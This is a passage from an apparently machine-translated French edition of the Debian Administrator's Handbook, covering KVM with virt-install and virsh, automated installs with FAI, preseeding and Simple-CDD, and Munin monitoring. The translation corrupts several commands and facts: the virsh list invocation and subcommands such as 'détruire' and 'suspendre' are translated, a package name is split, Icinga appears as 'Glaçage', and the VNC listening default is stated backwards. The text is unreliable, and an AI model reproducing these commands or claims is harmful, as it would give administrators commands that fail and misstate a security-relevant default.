Bien entendu, nous n’avons pas décrit toutes les options disponibles ; des informations plus
complètes peuvent être obtenues à partir des pages de manuel lxc(7) et [Link](5) et de celles
auxquelles elles font référence.

12.2.3. Virtualisation avec KVM

KVM, pour Kernel­based Virtual Machine, est avant tout un module noyau fournissant l'essentiel de l'infrastructure
pouvant être utilisée par un virtualiseur, mais ce n'est pas un virtualiseur en soi. Le contrôle réel de la virtualisation
est géré par une application basée sur QEMU. Ne vous inquiétez pas si cette section mentionne les commandes
qemu­* : il s'agit toujours de KVM.

Contrairement à d’autres systèmes de virtualisation, KVM a été intégré dès le départ dans le noyau Linux.
Ses développeurs ont choisi de profiter des jeux d'instructions du processeur dédiés à la virtualisation (Intel­VT et
AMD­V), ce qui permet au KVM de rester léger, élégant et peu gourmand en ressources.
La contrepartie, bien sûr, est que KVM ne fonctionne que sur les processeurs i386 et amd64, et uniquement sur ceux
suffisamment récents pour disposer de ces jeux d'instructions.

Avec Red Hat soutenant activement son développement, KVM semble en passe de devenir la référence en matière
de virtualisation Linux.

[Link]. Étapes préliminaires

Contrairement à des outils tels que VirtualBox, KVM lui­même n'inclut aucune interface utilisateur pour créer et gérer
des machines virtuelles. Le package qemu­kvm fournit uniquement un exécutable capable de démarrer une machine
virtuelle, ainsi qu'un script d'initialisation qui charge les modules du noyau appropriés.

Heureusement, Red Hat fournit également un autre ensemble d'outils pour résoudre ce problème, en développant
la bibliothèque libvirt et les outils de gestion virtuelle associés . libvirt permet de gérer les machines virtuelles de
manière uniforme, indépendamment du système de virtualisation impliqué en coulisse (il prend actuellement en
charge QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare et UML). virtual­manager est une interface graphique
qui utilise libvirt pour créer et gérer des machines virtuelles.

Nous installons d'abord les packages requis, avec apt­get install qemu­kvm libvirt­bin virti nst virtual­manager virt­
viewer. libvirt­bin fournit le démon libvirtd , qui permet la gestion (potentiellement à distance) des machines virtuelles
en cours d'exécution sur l'hôte et démarre les machines virtuelles requises au démarrage de l'hôte. De plus, ce
package fournit l' outil de ligne de commande virsh , qui permet de contrôler les machines gérées par libvirtd.

Le package virtinst fournit virt­install, qui permet de créer des machines virtuelles à partir de la ligne de commande.
Enfin, virt­viewer permet d'accéder à la console graphique d'une VM.

332 Le manuel de l'administrateur Debian

Machine Translated by Google

[Link]. Configuration du réseau

Tout comme dans Xen et LXC, la configuration réseau la plus fréquente implique un pont regroupant les
interfaces réseau des machines virtuelles (voir Section [Link], « Configuration réseau » (page
328)).

Alternativement, et dans la configuration par défaut fournie par KVM, la machine virtuelle est affectée
une adresse privée (dans la plage [Link]/24), et NAT est configuré pour que la VM puisse accéder
le réseau extérieur.

Le reste de cette section suppose que l'hôte dispose d'une interface physique eth0 et d'un pont br0 ,
et que le premier est connecté au second.

[Link]. Installation avec virt­install

La création d'une machine virtuelle est très similaire à l'installation d'un système normal, sauf que la machine virtuelle
les caractéristiques de la machine sont décrites dans une ligne de commande apparemment sans fin.

Concrètement, cela signifie que nous utiliserons l'installateur Debian, en démarrant la machine virtuelle
sur un lecteur de DVD­ROM virtuel qui correspond à une image DVD Debian stockée sur le système hôte. Le
VM exportera sa console graphique via le protocole VNC (voir Section 9.2.3, « Utilisation de Remote
Bureaux graphiques » (page 194) pour plus de détails), qui nous permettra de contrôler le processus d'installation.
cess.

Nous devons d'abord indiquer à libvirtd où stocker les images disque, à moins que l'emplacement par défaut (/var/
lib/libvirt/images/) est très bien.

# virsh pool­create­as srv­kvm dir ­­target /srv/kvm

Commençons maintenant le processus d'installation de la machine virtuelle et examinons de plus près les options les
plus importantes de virt­install . Cette commande enregistre la machine virtuelle et ses paramètres dans libvirtd, puis la
démarre pour que son installation puisse se poursuivre.

# virt­install ­­connect qemu:///system 1

­­virt­type kvm ­­name 2
testkvm 3
­­ram 1024 4
­­disk /srv/kvm/[Link],format=qcow2,size=10 5
­­cdrom /srv/isos/debian­6.0.0­amd64­DVD­[Link] ­­network 6
bridge=br0 7
­­vnc 8
­­os­type linux ­­os­ 9
variant debiansqueeze

Démarrage de l'installation...
Allocation de '[Link]' | 10 Go | 00:00
Création d'un domaine... 0B 00:00

Chapitre 12 — Administration avancée 333

Machine Translated by Google

Impossible d'ouvrir l'affichage :

Exécutez 'virt­viewer ­­help' pour voir une liste complète des options de ligne de commande disponibles
.
Installation du domaine toujours en cours. Vous pouvez vous reconnecter à la console
pour terminer le processus d'installation.

1 L' option ­­connect spécifie « l'hyperviseur » à utiliser. Sa forme est celle d'une URL
contenant un système de virtualisation (xen://, qemu://, lxc://, openvz://, vbox://, etc.) et la
machine qui doit héberger le système. VM (cela peut être laissé vide dans le cas de l'hôte local).
De plus, et dans le cas de QEMU/KVM, chaque utilisateur peut gérer des machines virtuelles fonctionnant
avec des autorisations restreintes, et le chemin URL permet de différencier les machines « système » (/system)
des autres (/session).

2 Puisque KVM est géré de la même manière que QEMU, le ­­virt­type kvm permet de spécifier l'utilisation de
KVM même si l'URL ressemble à QEMU.

3 L' option ­­name définit un nom (unique) pour la machine virtuelle.

4 L' option ­­ram permet de spécifier la quantité de RAM (en Mo) à allouer au serveur virtuel.
machine.

5 Le ­­disk spécifie l'emplacement du fichier image qui doit représenter le disque dur de notre machine virtuelle ; ce
fichier est créé, sauf s'il est présent, avec une taille (en Go) spécifiée par le paramètre size . Le paramètre
format permet de choisir parmi plusieurs manières de stocker le fichier image. Le format par défaut (brut) est
un fichier unique correspondant exactement à la taille et au contenu du disque. Nous avons choisi ici un format
plus avancé, spécifique à QEMU et permettant de démarrer avec un petit fichier qui ne s'agrandit que lorsque
la machine virtuelle commence réellement à utiliser
espace.

6 L' option ­­cdrom est utilisée pour indiquer où trouver le disque optique à utiliser pour l'installation.
Le chemin peut être soit un chemin local pour un fichier ISO, une URL où le fichier peut être obtenu, ou le
fichier de périphérique d'un lecteur de CD­ROM physique (c'est­à­dire /dev/cdrom).

7 Le ­­network spécifie comment la carte réseau virtuelle s'intègre dans la configuration réseau de l'hôte. Le
comportement par défaut (que nous avons explicitement forcé dans notre exemple) consiste à l'intégrer dans
n'importe quel pont réseau préexistant. Si aucun pont de ce type n'existe, la machine virtuelle atteindra
uniquement le réseau physique via NAT, elle obtiendra donc une adresse dans une plage de sous­réseau
privé ([Link]/24).

8 ­­vnc indique que la console graphique doit être rendue disponible à l'aide de VNC. Le comportement par
défaut du serveur VNC associé n'est pas uniquement l'écoute sur l'interface locale ; si le client VNC doit être
exécuté sur un hôte différent, l'établissement de la connexion nécessitera la configuration d'un tunnel SSH
(voir Section [Link], « Création de tunnels chiffrés avec redirection de port » (page 192)). Alternativement, ­­
vnclisten=[Link] peut être utilisé pour que le serveur VNC

334 Le manuel de l'administrateur Debian

Machine Translated by Google

est accessible depuis toutes les interfaces ; notez que si vous faites cela, vous devez vraiment concevoir votre
pare­feu en conséquence.

9 Les options ­­os­type et ­­os­variant permettent d'optimiser quelques paramètres de la machine virtuelle, en fonction de
certaines des fonctionnalités connues du système d'exploitation mentionnées ici.

À ce stade, la machine virtuelle est en cours d’exécution et nous devons nous connecter à la console graphique pour
poursuivre le processus d’installation. Si l'opération précédente a été exécutée à partir d'un environnement de bureau
graphique, cette connexion devrait être automatiquement démarrée. Sinon, ou si nous opérons à distance, virt­viewer peut
être utilisé pour l'exécuter :

$ virt­viewer ­­connect qemu+ssh://root@server/system mot de passe de

root@server : mot de passe de
root@server :

Une fois le processus d'installation terminé, la machine virtuelle est redémarrée, désormais prête à être utilisée.

[Link]. Gérer les machines avec virsh

Maintenant que l'installation est terminée, voyons comment gérer les machines virtuelles disponibles. La première chose à
essayer est de demander à libvirtd la liste des machines virtuelles qu'il gère :

# virsh ­c qemu:///liste système ­­all

Nom d'identification État
­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­
­ testerkvm éteindre

Commençons notre machine virtuelle de test :

# virsh ­c qemu:///system start testkvm

Test de domaine kvm démarré

Nous pouvons maintenant obtenir les instructions de connexion pour la console graphique :

# virsh ­c qemu:///system vncdisplay testkvm :0

Les autres sous­commandes virsh disponibles incluent :

• reboot pour redémarrer une machine virtuelle ;

• shutdown pour déclencher un arrêt propre ;

• détruire, pour l'arrêter brutalement ;

• suspendre pour le mettre en pause ;

Chapitre 12 — Administration avancée 335

Machine Translated by Google

• reprendre pour reprendre la pause ;

• démarrage automatique pour activer (ou désactiver, avec l' option ­­disable ) le démarrage de la machine virtuelle
automatiquement au démarrage de l'hôte ;

• undefine pour supprimer toute trace de la machine virtuelle de libvirtd.

Toutes ces sous­commandes prennent en paramètre un identifiant de machine virtuelle.

12.3. Installation automatisée

Les administrateurs de Falcot Corp, comme de nombreux administrateurs de grands services informatiques, ont besoin
d'outils pour installer (ou réinstaller) rapidement, et si possible automatiquement, leurs nouvelles machines.

Ces exigences peuvent être satisfaites par une large gamme de solutions. D'une part, des outils génériques
tels que SystemImager, gèrent cela en créant une image basée sur une machine modèle, puis déployent cette image sur les
systèmes cibles ; à l'autre extrémité du spectre, le standard Debian
l'installateur peut être pré­installé avec un fichier de configuration donnant les réponses aux questions posées
pendant le processus d'installation. En guise de juste milieu, un outil hybride tel que FAI (Fully
Automatic Installer) installe les machines à l'aide du système de packaging, mais il utilise également sa propre infrastructure
pour des tâches plus spécifiques aux déploiements massifs (telles que le démarrage, le partitionnement,
configuration, etc.).

Chacune de ces solutions a ses avantages et ses inconvénients : SystemImager fonctionne indépendamment de tout
système de packaging particulier, ce qui lui permet de gérer de grands ensembles de machines utilisant plusieurs
Distribution Linux. Il inclut également un système de mise à jour qui ne nécessite pas de réinstallation, mais
ce système de mise à jour ne peut être fiable que si les machines ne sont pas modifiées indépendamment ; en d'autre
En d’autres termes, l’utilisateur ne doit mettre à jour aucun logiciel lui­même ni installer aucun autre logiciel. De même, les
mises à jour de sécurité ne doivent pas être automatisées, car elles doivent passer par le système centralisé.
image de référence maintenue par SystemImager. Cette solution nécessite également les machines cibles
être homogène, sinon de nombreuses images différentes devraient être conservées et gérées (un
l'image i386 ne tient pas sur une machine powerpc, etc.).

D'un autre côté, une installation automatisée à l'aide de l'installateur Debian peut s'adapter aux spécificités
de chaque machine : l'installateur récupérera le noyau et les packages logiciels appropriés à partir du
les référentiels pertinents, détectez le matériel disponible, partitionnez l'intégralité du disque dur pour profiter de tout l'espace
disponible, installez le système Debian correspondant et configurez un chargeur de démarrage approprié. Cependant,
l'installateur standard n'installera que les versions standard de Debian, avec
le système de base et un ensemble de « tâches » présélectionnées ; cela exclut l'installation d'un système particulier
avec des applications non packagées. Répondre à ce besoin particulier nécessite de personnaliser l'installateur…
Heureusement, l'installateur est très modulaire, et il existe des outils pour automatiser la plupart des tâches.
travail nécessaire à cette personnalisation, surtout simple­CDD (CDD étant l'acronyme de
Dérivés Debian personnalisés). Toutefois, même la solution CDD simple ne gère que les installations initiales ; ce n'est
généralement pas un problème puisque les outils APT permettent un déploiement efficace des mises à jour
plus tard.

336 Le manuel de l'administrateur Debian

Machine Translated by Google

Nous donnerons seulement un aperçu approximatif de FAI, et ignorerons complètement SystemImager (qui n'est plus
dans Debian), afin de nous concentrer plus intensément sur l'installateur Debian et le simple­CDD, qui sont plus
intéressants dans un contexte uniquement Debian.

12.3.1. Installateur entièrement automatique (FAI)

Fully Automatic Installer est probablement le plus ancien système de déploiement automatisé pour Debian, ce qui
explique son statut de référence ; mais son caractère très flexible ne fait que compenser la complexité qu'il implique.

FAI nécessite un système serveur pour stocker les informations de déploiement et permettre aux machines cibles de
démarrer à partir du réseau. Ce serveur nécessite le package fai­server (orfai­quickstart, qui apporte également les
éléments requis pour une configuration standard).

FAI utilise une approche spécifique pour définir les différents profils installables. Au lieu de simplement dupliquer une
installation de référence, FAI est un installateur à part entière, entièrement configurable via un ensemble de fichiers
et de scripts stockés sur le serveur ; l'emplacement par défaut /srv/fai/config/ n'est pas automatiquement créé,
l'administrateur doit donc le créer avec les fichiers pertinents. La plupart du temps, ces fichiers seront personnalisés
à partir des fichiers d'exemple disponibles dans la documentation du package fai­doc , plus particulièrement le
répertoire /usr/share/doc/fai­doc/examples/simple/ .

Une fois les profils définis, la commande fai­setup génère les éléments requis pour démarrer une installation FAI ;
cela signifie principalement préparer ou mettre à jour un système minimal (racine NFS) utilisé lors de l'installation.
Une alternative consiste à générer un CD de démarrage dédié avec fai­cd.

La création de tous ces fichiers de configuration nécessite une certaine compréhension du fonctionnement de FAI. Un
processus d'installation typique comprend les étapes suivantes :

• récupérer un noyau sur le réseau et le démarrer ;

• monter le système de fichiers racine à partir de NFS ;

• exécuter /usr/sbin/fai, qui contrôle le reste du processus (les étapes suivantes sont
donc initié par ce script) ;

• copier l'espace de configuration du serveur dans /fai/ ;

• Exécution de la classe FAI. Les scripts /fai/class/[0­9][0­9]* sont exécutés à tour de rôle, et renvoient les noms
de « classes » qui s'appliquent à la machine en cours d'installation ; ces informations serviront de base pour
les étapes suivantes. Cela permet une certaine flexibilité dans la définition des services à installer et à
configurer.

• récupérer un certain nombre de variables de configuration, en fonction des classes concernées ;

• partitionner les disques et formater les partitions, sur la base des informations fournies dans /fai/disk_config/
class ;

• monter lesdites cloisons ;

Chapitre 12 — Administration avancée 337

Machine Translated by Google

• installer le système de base ;

• pré­amorçage de la base de données Debconf avec fai­debconf ;

• récupérer la liste des packages disponibles pour APT ;

• installer les packages répertoriés dans /fai/package_config/class ;

• exécuter les scripts de post­configuration, /fai/scripts/class/[0­9][0­9]* ;

• enregistrer les journaux d'installation, démonter les partitions et redémarrer.

12.3.2. Pré­installation de l'installateur Debian

En fin de compte, le meilleur outil pour installer les systèmes Debian devrait logiquement être l'installateur officiel
de Debian. C'est pourquoi, dès sa création, l'installateur Debian a été conçu pour une utilisation automatisée, tirant
parti de l'infrastructure fournie par debconf. Cette dernière permet, d'une part, de réduire le nombre de questions
posées (les questions masquées utiliseront la réponse par défaut fournie), et d'autre part, de fournir les réponses
par défaut séparément, afin que l'installation puisse être non interactive. . Cette dernière fonctionnalité est connue
sous le nom de pré­amorçage.

ALLER PLUS LOIN Le pré­amorçage permet de fournir un ensemble de réponses aux questions de Debconf au moment
Debconf avec une base de données de l'installation, mais ces réponses sont statiques et n'évoluent pas avec le temps.
centralisée Étant donné que les machines déjà installées peuvent nécessiter une mise à niveau et que de nouvelles
réponses peuvent devenir requises, le fichier de configuration /etc/[Link] peut être configuré de
manière à ce que Debconf utilise des sources de données externes (telles qu'un serveur d'annuaire
LDAP ou un fichier distant monté via NFS ou Samba). Plusieurs sources de données externes peuvent
être définies simultanément et elles se complètent. La base de données locale est toujours utilisée
(pour l'accès en lecture­écriture), mais les bases de données distantes sont généralement limitées à la
lecture. La page de manuel [Link](5) décrit toutes les possibilités en détail.

[Link]. Utiliser un fichier prédéfini

Il existe plusieurs endroits où le programme d'installation peut obtenir un fichier de préconfiguration :

• dans l'initrd utilisé pour démarrer la machine ; dans ce cas, le pré­amorçage s'effectue au tout début de
l'installation et toutes les questions peuvent être évitées. Le fichier doit simplement être appelé [Link]
et stocké à la racine initrd.

• sur le support de démarrage (CD ou clé USB) ; le pré­amorçage a ensuite lieu dès que le support est monté,
c'est­à­dire juste après les questions sur la langue et la disposition du clavier.
Le paramètre de démarrage preseed/file peut être utilisé pour indiquer l'emplacement du fichier de pré­
amorçage (par exemple, /cdrom/[Link] lorsque l'installation est effectuée à partir d'un CD­ROM, ou /
hd­media/[Link] dans le port USB). ­étui à clés).

338 Le manuel de l'administrateur Debian

Machine Translated by Google

• du réseau ; le pré­amorçage n'a alors lieu qu'après la configuration (automatique) du réseau ; le paramètre de
démarrage pertinent est alors preseed/url=h p://server/[Link].

En un coup d'œil, inclure le fichier de pré­configuration dans initrd semble être la solution la plus intéressante ; cependant,
il est rarement utilisé en pratique, car générer un initrd d'installation est plutôt complexe.
Les deux autres solutions sont beaucoup plus courantes, d'autant plus que les paramètres de démarrage fournissent un
autre moyen de pré­prévisualiser les réponses aux premières questions du processus d'installation. La manière habituelle
d'éviter de saisir manuellement ces paramètres de démarrage à chaque installation est de les sauvegarder dans la
configuration d' isolinux (dans le cas du CD­ROM) ou de syslinux (clé USB).

[Link]. Création d'un fichier prédéfini

Un fichier prédéfini est un fichier texte brut, où chaque ligne contient la réponse à une question Debconf.
Une ligne est divisée en quatre champs séparés par des espaces (espaces ou tabulations), comme dans, par exemple,
di miroir/suite string stable :

• le premier champ est le « propriétaire » de la question ; « di » est utilisé pour les questions relatives à l'installateur,
mais il peut également s'agir d'un nom de paquet pour les questions provenant des paquets Debian ;

• le deuxième champ est un identifiant pour la question ;

• troisièmement, le type de question ;

• le quatrième et dernier champ contient la valeur de la réponse ; notez qu'il doit être séparé du troisième champ par
un seul espace, afin que la valeur puisse commencer par un espace.

La manière la plus simple d'écrire un fichier prédéfini est d'installer un système à la main. Ensuite, debconf­get­selections
­­installer fournira les réponses concernant l'installateur. Des réponses sur d'autres paquets peuvent être obtenues avec
debconf­get­selections. Cependant, une solution plus propre consiste à écrire le fichier prédéfini à la main, à partir d'un
exemple et de la documentation de référence : avec une telle approche, seules les questions pour lesquelles la réponse
par défaut doit être remplacée peuvent être prédéfinies ; l'utilisation du paramètre de démarrage priorité=critique
demandera à Debconf de poser uniquement les questions critiques et d'utiliser la réponse par défaut pour les autres.

DOCUMENTATION Le guide d'installation, disponible en ligne, comprend une documentation détaillée sur
Annexe du guide d'installation l'utilisation d'un fichier prédéfini en annexe. Il comprend également un exemple de
fichier détaillé et commenté, qui peut servir de base à des personnalisations locales.
[Link]

[Link]

[Link]. Création d'un support de démarrage personnalisé

Savoir où stocker le fichier de pré­configuration, c'est très bien, mais l'emplacement ne fait pas tout : il faut, d'une manière
ou d'une autre, modifier le support de démarrage d'installation pour changer les paramètres de démarrage et ajouter le
fichier de pré­configuration.

Chapitre 12 — Administration avancée 339

Machine Translated by Google

Démarrage à partir du réseau Lorsqu'un ordinateur est démarré à partir du réseau, le serveur qui envoie les éléments d'initialisation
définit également les paramètres de démarrage. Ainsi, la modification doit être apportée à la configuration PXE du serveur de
démarrage ; plus précisément, dans son /tftpboot/pxelinux. cfg/ fichier de configuration par défaut. La configuration du démarrage
réseau est une condition préalable ; voir le Guide d'installation pour plus de détails.

[Link]

Préparation d'une clé USB amorçable Une fois qu'une clé amorçable a été préparée (voir Section 4.1.2, « Démarrage à partir
d'une clé USB » (page 51)), quelques opérations supplémentaires sont nécessaires. En supposant que le contenu clé soit
disponible sous /media/usbdisk/ :

• copiez le fichier de pré­configuration dans /media/usbdisk/[Link]

• éditez /media/usbdisk/[Link] et ajoutez les paramètres de démarrage requis (voir l'exemple ci­dessous).
faible).

vmlinuz par défaut

append preseed/file=/hd­media/[Link] locale=en_US console­keymaps­at/ keymap=us languagechooser/

lingual­name=English countrychooser/ shortlist=US vga=normal initrd=[Link] ­­

Exemple 12.2 Fichier [Link] et paramètres de pré­amorçage

Création d'une image CD­ROM Une clé USB est un support de lecture­écriture, il nous a donc été facile d'y ajouter un fichier et de
modifier quelques paramètres. Dans le cas du CD­ROM, l'opération est plus complexe, puisqu'il faut régénérer une image ISO
complète. Cette tâche est gérée par debian­cd, mais cet outil est plutôt délicat à utiliser : il nécessite un miroir local, et nécessite
une compréhension de toutes les options fournies par /usr/share/debian­cd/[Link] ; même dans ce cas, make doit être invoqué
plusieurs fois. /usr/share/debian­cd/README est donc une lecture très recommandée.

Cela dit, debian­cd fonctionne toujours de la même manière : un répertoire « image » avec le contenu exact du CD­ROM est
généré, puis converti en fichier ISO avec un outil tel que genisoimage, mkisofs ou xorriso. Le répertoire d'images est finalisé après
l'étape make image­trees de debian­cd . À ce stade, nous insérons le fichier de pré­configuration dans le répertoire approprié
(généralement $TDIR/squeeze/CD1/, $TDIR étant l'un des paramètres définis par le fichier de configuration [Link] ). Le CD­
ROM utilise isolinux comme chargeur de démarrage, et son fichier de configuration doit être adapté de ce que debian­cd a généré,
afin d'insérer les paramètres de démarrage requis (le fichier spécifique est $TDIR/squeeze/boot1/isolinux/[Link]) . Ensuite, le
processus « normal » peut reprendre, et on peut passer à la génération de l'image ISO avec make image CD=1 (ou make images
si plusieurs CD­ROM sont générés).

340 Le manuel de l'administrateur Debian

Machine Translated by Google

12.3.3. Simple­CDD : la solution tout­en­un

La simple utilisation d’un fichier prédéfini ne suffit pas pour répondre à toutes les exigences pouvant apparaître lors
de déploiements à grande échelle. Même s'il est possible d'exécuter quelques scripts à la fin du processus
d'installation normal, la sélection de l'ensemble des packages à installer n'est toujours pas très flexible (en gros,
seules les « tâches » peuvent être sélectionnées) ; plus important encore, cela permet uniquement d'installer des
paquets Debian officiels et exclut ceux générés localement.

D'un autre côté, debian­cd est capable d'intégrer des packages externes, et l'installateur Debian peut être étendu en
insérant de nouvelles étapes dans le processus d'installation. En combinant ces capacités, il devrait être possible de
créer un installateur personnalisé qui répond à nos besoins ; il devrait même être capable de configurer certains
services après avoir décompressé les packages requis. Heureusement, ce n'est pas une simple hypothèse, puisque
c'est exactement ce que fait Simple­CDD (dans le package simple­cdd ).

Le but de Simple­CDD est de permettre à quiconque de créer facilement une distribution dérivée de De­bian,
en sélectionnant un sous­ensemble des packages disponibles, en les préconfigurant avec Debconf, en ajoutant
des logiciels spécifiques et en exécutant des scripts personnalisés à la fin du processus d'installation. . Cela
correspond à la philosophie du « système d’exploitation universel », puisque chacun peut l’adapter à ses
propres besoins.

[Link]. Création de profils

Simple­CDD définit des « profils » qui correspondent au concept de « classes » FAI, et une machine peut avoir
plusieurs profils (déterminés au moment de l'installation). Un profil est défini par un ensemble de fichiers profiles/
profile.* :

• le fichier .description contient une description sur une ligne du profil ;

• le fichier .packages répertorie les packages qui seront automatiquement installés si le profil est sélectionné.
élu;

• le fichier .downloads répertorie les packages qui seront stockés sur le support d'installation, mais pas
nécessairement installés ;

• le fichier .preseed contient des informations de pré­configuration pour les questions Debconf (pour l'installateur
et/ou pour les packages) ;

• le fichier .postinst contient un script qui sera exécuté à la fin du processus d'installation ;

• enfin, le fichier .conf permet de modifier certains paramètres de Simple­CDD en fonction des profils à inclure
dans une image.

Le profil par défaut a un rôle particulier, puisqu'il est toujours sélectionné ; il contient le strict minimum requis pour
que Simple­CDD fonctionne. La seule chose qui est habituellement personnalisée dans ce profil est le paramètre de
pré­configuration simple­cdd/profiles : cela permet d'éviter la question, introduite par Simple­CDD, sur les profils à
installer.

Chapitre 12 — Administration avancée 341

Machine Translated by Google

Notez également que les commandes devront être invoquées depuis le répertoire parent du répertoire profiles .

[Link]. Configuration et utilisation de build­simple­cdd

COUP D'OEIL Un exemple de fichier de configuration Simple­CDD, avec tous les paramètres possibles,
Fichier de configuration détaillé est inclus dans le package (/usr/share/doc/simple­cdd/examples/simple­[Link]).
Cela peut être utilisé comme point de départ lors de la création d'un fichier de configuration
personnalisé.

Simple­CDD nécessite de nombreux paramètres pour fonctionner pleinement. Ils seront le plus souvent regroupés
dans un fichier de configuration, sur lequel build­simple­cdd peut être pointé avec l' option ­­conf , mais ils peuvent
également être spécifiés via des paramètres dédiés donnés à build­simple­cdd. Voici un aperçu du comportement de
cette commande et de la manière dont ses paramètres sont utilisés :

• le paramètre profiles liste les profils qui seront inclus sur le CD­ROM généré
image;

• sur la base de la liste des paquets requis, Simple­CDD télécharge les fichiers appropriés depuis le serveur
mentionné dans server, et les rassemble dans un miroir partiel (qui sera ensuite remis à debian­cd) ;

• les packages personnalisés mentionnés dans local_packages sont également intégrés dans ce miroir local.
ror;

• debian­cd est ensuite exécuté (dans un emplacement par défaut configurable avec la variable deb ian_cd_dir ),
avec la liste des paquets à intégrer ;

• une fois que debian­cd a préparé son répertoire, Simple­CDD applique quelques modifications à ce répertoire.
presbytère:

– les fichiers contenant les profils sont ajoutés dans un sous­répertoire simple­cdd (qui se retrouvera sur
le CD­ROM) ;

– d'autres fichiers répertoriés dans le paramètre all_extras sont également

ajoutés ; – les paramètres de démarrage sont ajustés de manière à permettre le pré­amorçage. Les
questions concernant la langue et le pays peuvent être évitées si les informations requises sont
stockées dans les variables de langue et de pays .

• debian­cd génère ensuite l'image ISO finale.

[Link]. Générer une image ISO

Une fois que nous avons écrit un fichier de configuration et défini nos profils, l'étape restante consiste à invoquer build­
simple­cdd ­­conf simple­[Link]. Après quelques minutes, nous obtenons l'image requise dans images/debian­6.0­
i386­CD­[Link].

342 Le manuel de l'administrateur Debian

Machine Translated by Google

12.4. Surveillance

La surveillance est un terme générique et les différentes activités impliquées poursuivent plusieurs
objectifs : d'une part, suivre l'utilisation des ressources fournies par une machine permet d'anticiper la
saturation et les évolutions nécessaires ultérieures ; d'autre part, alerter l'administrateur dès qu'un service
est indisponible ou ne fonctionne pas correctement permet de résoudre le problème plus tôt.

Munin couvre le premier domaine, en affichant des graphiques pour les valeurs historiques d'un certain
nombre de paramètres (RAM utilisée, espace disque occupé, charge du processeur, trafic réseau, charge
Apache/MySQL, etc.). Nagios couvre le deuxième domaine, en vérifiant régulièrement que les services
fonctionnent et sont disponibles, et en envoyant des alertes via les canaux appropriés (e­mails, SMS, etc.).
Les deux ont une conception modulaire, ce qui facilite la création de nouveaux plug­ins pour surveiller des
paramètres ou des services spécifiques.

ALTERNATIVE Bien que Munin et Nagios soient d'usage très courant, ils ne sont pas les seuls acteurs dans le
Zabbix, un outil de domaine de la surveillance, et chacun d'eux n'assure que la moitié de la tâche (graphique d'un
surveillance intégré côté, alerte de l'autre). Zabbix, quant à lui, intègre les deux parties de la surveillance ; il dispose
également d'une interface web pour configurer les aspects les plus courants. Il a connu une
croissance fulgurante au cours des dernières années et peut désormais être considéré comme
un concurrent viable.

[Link]

ALTERNATIVE Poussés par des divergences d'opinions concernant le modèle de développement de Nagios
Glaçage, une fourchette Nagios
(qui est contrôlé par une société), un certain nombre de développeurs ont créé Nagios et
utilisent Icinga comme nouveau nom. Icinga est toujours compatible — jusqu'à présent — avec
les configurations et plugins Nagios, mais il ajoute également des fonctionnalités supplémentaires.

[Link]

12.4.1. Configuration de Munin

Le but de Munin est de surveiller de nombreuses machines ; il utilise donc tout naturellement une
architecture client/serveur. L'hôte central – le grapher – collecte les données de tous les hôtes surveillés et
génère des graphiques historiques.

[Link]. Configuration des hôtes à surveiller

La première étape consiste à installer le package munin­node . Le démon installé par ce package est listé
sur le port 4949 et renvoie les données collectées par tous les plugins actifs. Chaque plugin est un
programme simple renvoyant une description des données collectées ainsi que la dernière valeur mesurée.
Les plugins sont stockés dans /usr/share/munin/plugins/, mais seuls ceux ayant un lien symbolique dans /
etc/munin/plugins/ sont réellement utilisés.

Lorsque le package est installé, un ensemble de plugins actifs est déterminé en fonction du logiciel
disponible et de la configuration actuelle de l'hôte. Toutefois, cette autoconfiguration dépend de

Chapitre 12 — Administration avancée 343

Machine Translated by Google

une fonctionnalité que chaque plugin doit fournir, et c'est généralement une bonne idée de revoir et de peaufiner les
résultats à la main. Il serait intéressant d'avoir une documentation complète pour chaque plugin, mais malheureusement il
n'existe pas de documentation officielle de ce type. Cependant, tous les plugins sont des scripts et la plupart sont plutôt
simples et bien commentés. Parcourir /etc/munin/plugins/ est donc un bon moyen d'avoir une idée de ce qu'est chaque
plugin et de déterminer lequel doit être supprimé. De même, activer un plugin intéressant trouvé dans /usr/share/munin/
plugins/ consiste simplement à établir un lien symbolique avec ln ­sf /usr/share/munin/plugins/plugin /etc/munin/plugins/.
Notez que lorsque le nom d'un plugin se termine par un trait de soulignement « _ », le plugin nécessite un paramètre. Ce
paramètre doit être stocké dans le nom du lien symbolique ; par exemple, le plugin « if_ » doit être activé avec un lien
symbolique if_eth0 , et il surveillera le trafic réseau sur l'interface eth0.

Une fois tous les plugins correctement configurés, la configuration du démon doit être mise à jour pour décrire le contrôle
d'accès aux données collectées. Cela implique des directives d'autorisation dans le fichier /etc/munin/ munin­[Link] .
La configuration par défaut est d'autoriser ˆ127\.0\.0\.1$ et autorise uniquement l'accès à l'hôte local. Un administrateur
ajoutera généralement une ligne similaire contenant l'adresse IP de l'hôte du grapheur, puis redémarrera le démon avec
Invoke­rc.d munin­node restart.

ALLER PLUS LOIN Malgré le manque de documentation officielle pour les plugins standards, Munin inclut une

Création de plugins locaux documentation détaillée sur la façon dont les plugins doivent se comporter et sur la manière de
développer de nouveaux plugins.

[Link]

Un plugin est mieux testé lorsqu'il est exécuté dans les mêmes conditions que s'il était déclenché
par munin­node ; cela peut être simulé en exécutant le plugin munin­run en tant que root. Un
deuxième paramètre potentiel donné à cette commande (tel que config) est transmis au plugin
en tant que paramètre.

Lorsqu'un plugin est invoqué avec le paramètre config, il doit se décrire en renvoyant un
ensemble de champs :

$ sudo munin­run Load config graph_title

Charge moyenne graph_args ­­base
1000 ­l 0 graph_vlabel Load graph_scale no
graph_category système
[Link] Load

graph_info La charge moyenne de la machine décrit le nombre de processus dans la file d'attente
"
d'exécution (prévus pour s'exécuter immédiatement"). [Link] Charge moyenne de
5 minutes

Les différents champs disponibles sont décrits par la spécification « protocole de configuration »
disponible sur le site Munin.

[Link]

Lorsqu'il est invoqué sans paramètre, le plugin renvoie simplement les dernières valeurs
mesurées ; par exemple, l'exécution de sudo munin­run load pourrait renvoyer une charge.
valeur 0,12.

344 Le manuel de l'administrateur Debian

Machine Translated by Google

Enfin, lorsqu'un plugin est invoqué avec le paramètre autoconf, il doit renvoyer
« oui » (et un statut de sortie 0) ou « non » (avec un statut de sortie 1) selon
que le plugin doit être activé sur cet hôte.

[Link]. Configuration du graphique

Le « grapher » est simplement l’ordinateur qui agrège les données et génère les graphiques correspondants. Le logiciel
requis est dans le package munin . La configuration standard exécute munin­cron (une fois toutes les 5 minutes), qui
collecte les données de tous les hôtes répertoriés dans /etc/munin/munin. conf (seul l'hôte local est répertorié par défaut),
enregistre les données historiques dans des fichiers RRD (Round Robin Database, un format de fichier conçu pour stocker
